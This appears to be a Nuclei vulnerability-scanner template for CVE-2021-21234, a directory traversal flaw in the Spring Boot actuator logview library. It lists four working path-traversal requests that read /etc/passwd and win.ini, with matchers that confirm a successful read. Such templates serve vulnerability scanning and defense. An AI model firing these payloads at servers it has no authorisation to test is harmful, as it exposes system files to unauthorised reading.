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id : CVE-2021-21234
info :
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name : Spring Boot Actuator Logview Directory Traversal
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author : gy741,pikpikcu
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severity : high
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description : |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
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impact : |
This vulnerability can lead to unauthorized access to sensitive information stored on the server.
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remediation : |
Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.
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reference :
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- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
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- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
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- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
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- https://blog.csdn.net/qq_39583774/article/details/123023770#t5
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
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cvss-score : 7.7
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cve-id : CVE-2021-21234
cwe-id : CWE-22
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epss-score : 0.96646
epss-percentile : 0.9954
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cpe : cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
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metadata :
max-request : 4
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vendor : spring-boot-actuator-logview_project
product : spring-boot-actuator-logview
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tags : cve,cve2021,springboot,lfi,actuator,spring-boot-actuator-logview_project
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http :
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- method : GET
path :
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- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
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stop-at-first-match : true
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matchers-condition : or
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matchers :
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- type : dsl
dsl :
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- "contains(header,'text/plain')"
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- "regex('root:.*:0:0:', body)"
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- "status_code == 200"
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condition : and
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- type : dsl
dsl :
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- "contains(header,'text/plain')"
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- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
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condition : and
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# digest: 4a0a00473045022100808ed6a011bb73d76681dc1cd3e8694ac9c38ed6651e90fd536e57d084f3585002203e53ccb02be1a12355d07f883c52f5d3e7117d890cc856a7d24400fe28f80ecc:922c64590222798bb761d5b6d8e72950